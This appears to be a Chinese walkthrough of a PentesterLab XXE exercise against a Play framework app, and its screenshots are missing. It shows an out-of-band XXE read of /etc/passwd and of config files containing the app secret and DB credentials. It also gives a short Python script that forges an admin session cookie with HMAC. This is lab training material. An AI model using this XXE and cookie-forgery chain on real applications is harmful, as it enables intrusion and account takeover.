给了一个 iso 文件,打开就是 pentester 登录的状态,所以可以直接 ifconfig 去看 ip 地址

image.png
image.png

访问一下 ip

image.png
image.png

python3 -m http.server 8080
python 开一个临时的服务,在提交表单的时候改成 xml(Content-Type 要改成 text/xml)

image.png
image.png

虽然服务器上没有这个东西,但是它确实去访问了

接下来就要通过编辑这个 test.dtd 来获得一些东西

image.png
image.png

再去访问的时候就能拿到 /etc/passwd 的信息

image.png
image.png
1
2
3
4
5
6
7
root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

可以发现,play 用户的家目录是 /opt/play-2.1.3/xxe/

把 test.dtd 改一下

image.png
image.png

然后去访问

1
2
3
4
5
6
7
8
9
10
11
.gitignore
.settings
app
conf
logs
Aproject
public
README
RUNNING_PID
target
test

再看一下 conf
application.conf
evolutions
routes

在访问 routes 时候

image.png
image.png

解码一下

1
2
3
4
5
6
7
/                           controllers.Application.index()
GET /0ecf87346b9c0b370f8d63e6e7fed4f0 controllers.Application.secret_url()
GET /login controllers.Application.login
POST /login controllers.Application.login
GET /logout controllers.Application.logout

GET /assets/*file controllers.Assets.at(path="/public", file)

访问一下
/0ecf87346b9c0b370f8d63e6e7fed4f0

image.png
image.png

再去访问一下 application.conf

image.png
image.png

解码

1
2
3
4
5
6
7
8
application.secret="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
application.langs="en"
db.default.driver=com.mysql.jdbc.Driver
db.default.url="mysql://pentesterlab:pentesterlab@localhost/xxe"
ebean.default="models.*"
logger.root=ERROR
logger.play=INFO
logger.application=DEBUG

然后去看一下 framework/src/play/src/main/scala/play/api/mvc/Http.scala,可能太大的原因?并没有返回给我

通过分析源码计算出 user=admin 应该用的 cookie

1
2
3
4
5
6
import hashlib
import hmac
key="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
data="user=admin"
h=hmac.new(key,data,hashlib.sha1)
h.hexdigest()
image.png
image.png

然后 cookie 改成 PLAY_SESSION=”a5b8363ce748cfbb5d654edc3676d440173b33de-user=admin”

image.png
image.png
image.png
image.png

参考:
https://pentesterlab.com/exercises/play_xxe/course
http://www.beesfun.com/2017/04/21/play 渗透框架 XXE 实体攻击/